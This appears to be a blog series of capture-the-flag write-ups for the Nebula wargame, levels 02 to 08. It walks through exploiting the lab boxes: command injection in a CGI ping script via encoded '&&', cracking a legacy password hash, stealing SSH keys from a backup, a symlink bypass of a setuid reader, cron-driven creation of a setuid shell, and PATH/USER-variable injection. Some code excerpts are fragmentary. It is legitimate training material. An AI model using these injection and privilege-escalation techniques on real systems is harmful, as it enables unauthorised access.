Nebula – Level08

This level was much more easier for me when compared to previous level. When I logged into level08, I found a PCAP file in /home/flag08. I copied that file into my local machine and opened it using Wireshark. When I found that all the protocols in the captured packets are TCP, I ran a Follow TCP Stream inside Wireshark. Which gave me something like this:
I tried to use "backdoor...00Rm8.ate" as the password to flag08, But it didn’t work :-/ Then I opened up this link and found out that 0x7F means delete. So I deleted "oor" and "8" from "backdoor...00Rm8.ate" to get the actual password of the flag08 user -> "backd00Rmate" Then I logged in as flag08 user like given below and ran get flag!

level08@nebula:~$ ssh flag08@localhost

      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/

For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).

flag08@localhost's password: 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:
New release '12.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag08@nebula:~$ id
uid=991(flag08) gid=991(flag08) groups=991(flag08)
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account

Nebula – Level07

Its been a long time since I played Nebula. So yesterday, I thought to resume my exploit exercises. In this level, there are two files in the /home/flag07 directory.

level07@nebula:/home/flag07$ ls -al
total 28
drwxr-x---  2 flag07 level07 4096 2011-11-20 20:39 .
drwxr-xr-x 43 root   root    4096 2011-11-20 20:21 ..
-rw-r--r--  1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x  1 root   root     368 2011-11-20 21:22 index.cgi
-rw-r--r--  1 flag07 flag07   675 2011-05-18 02:54 .profile
-rw-r--r--  1 root   root    3719 2011-11-20 21:22 thttpd.conf

I opened up the index.cgi and thttp.conf files:


use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
   $host = $_[0];
   print("<html><head><title>Ping results</title></head><body><pre>");
   @output = `ping -c 3 $host 2>&1`;
   foreach $line (@output) { print "$line"; }
# check if Host set. if not, display normal page, etc
# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.

# Specifies what user to switch to after initialization when started as root.

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.

# Specifies a file of throttle settings. See thttpd(8) for details.

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.

# Specifies the character set to use with text MIME types.

# Specifies a P3P server privacy header to be returned with all responses. See
# for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.

I realized that its a cgi perl script and it can be only run using a web browser. The index.cgi script requires a parameter named “Host” and an IP, in-order to pass it as an argument to the ping command. I opened the browser and typed this URL ( is the IP that I’ve assigned to Nebula’s box, 7007 is the port number given in the config file)

If you have noticed the index.cgi file, it allows you to execute multiple commands given as a parameter to the URL ( So I tried with command Host=localhost&&ping -c as a parameter to the URL. But I got this output (it didn’t work :-/)

When I noticed , it is doing URL encoding on any special characters (like space and ‘&’ and not in ‘=’) which I is passed  as parameter to the URL. So I opened up an URL encoder-decoder website and encoded &&ping -c to get something like this %26%26ping%20-c%203%2010.30.8.105. And it worked!!

Now I am able to run multiple commands through the browser with the permissions of flag07 user. So I ran “id” and “getflag” along with this and completed this level.

Nebula – Level06

This level is comparatively easy. We have only a clue in this level -> “The flag06 account credentials came from a legacy unix system”. So i google’d about it and found a very interesting website -> In this link its is clearly written how to crack the encoded passwords stored in /etc/password. I followed the steps given in it.

1. I installed John The Ripper in my local linux box
2. Copied the "flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh" to a text file.
3. Ran the john with the text file as the argument and got the encoded password from the file.

I logged in to flag06 using the password that John found and then ran getflag command.

Nebula – Level05

In this level the only hint that we have is the weak directory permissions.

I listed ls -al /home/flag05, then i found a folder named .backup in which there is a tar.gz file and also another folder named .ssh. So i tried to extract the tar.gz file there itself, but it didn’t work due to permission problems. Then i copied that file to /tmp and then extracted it there. And i found the .ssh directory again. Then i copied that directory to /home/level05 and then ssh’d to flag05@localhost and it didn’t ask any credentials since the public key of flag05 was there in .ssh directory which we already extracted!
I ran getflag to complete this level.

Nebula – Level04


In this level there are two files in the /home/flag04 directory.
1. A file named token (consider it as a text file)
2. A 32 bit setuid bit enabled ELF file -> flag04

This is the code of flag04.c

int main(int argc, char **argv, char **envp)
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);

write(1, buf, rc);

This program will read a file which is given as the first argument and whose name is not “token”. I made a file in /tmp directory and gave the argument of flag04 and it printed whatever there was in that file. So it is working! What we have to do is make a duplicate file of token, i tried direct copy but it didn’t work permission was denied. Then i tried to make a symlink of token in /tmp directory and gave that file as the argument of the flag04 file, luckily it worked perfectly!!

$ ln -s /home/flag04/token /tmp/blah
$ ./flag04 /tmp/blah

I was able to read the contents of the file token. But it didn’t gave me an escalated shell from level04 to flag04 :/
But i noted down the content of file token and it was the password to the flag04 level and when i logged in i executed getflag command and hence i completed level04 nebula 😀

Nebula – level03

There is no code to exploit in this challenge but we have to exploit a cron job which runs after each couple of minutes. There is a crontab in writable.d and a script in the /home/flag03

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"

We have to make a C/C++ program which will SUID enabled.

I used the code from the level02


int main()
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

return 0;

I tried to save it in /home/flag03, but i didn’t had enough permission :/
But i have the permission to make a file inside writable.d..Then i copied the output file of the above program into writable.d/ and waited for few minutes. But that didn’t also work :/

Finally i succeeded in this step. I made an executable shell script inside which will compile the above given code and put the output file in /home/flag03 which is suid bit set.

$ vim writable.d/job1

gcc /tmp/shell.c -o /home/flag03/shell
chmod +s /home/flag03/shell
chmod +x job1

I waited for few minutes and after that an executable file named shell with suid set file appeared in /home/flag03/
I didn’t waste much time. I executed the shell file and got flag03 shell \m/

Nebula – Level02

Just after finishing level01 i started level02

int main(int argc, char **argv, char **envp)
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);


In this level the program will read the content from the Environmental Variable and will pass as an argument to /bin/echo.
So here we have an issue by giving /bin/bash or /bin/sh it will only get displayed and we cannot make a symlink with /bin/echo as it is already existing. So we will assign env USER with /bin/bash;exec\ echo . In the previous level, we had set a echo symlink with a /bin/bash. So all we need to set is to add /tmp to the $PATH and then execute the flag02 file.

level02$ PATH=/tmp:$PATH
level02$ USER=ls\;exec\ echo
level02$ ./flag02
about to call system ("/bin/echo /bin/bash;exec echo is cool")
flag02$ getflag
You have successfully executed getflag on targeted account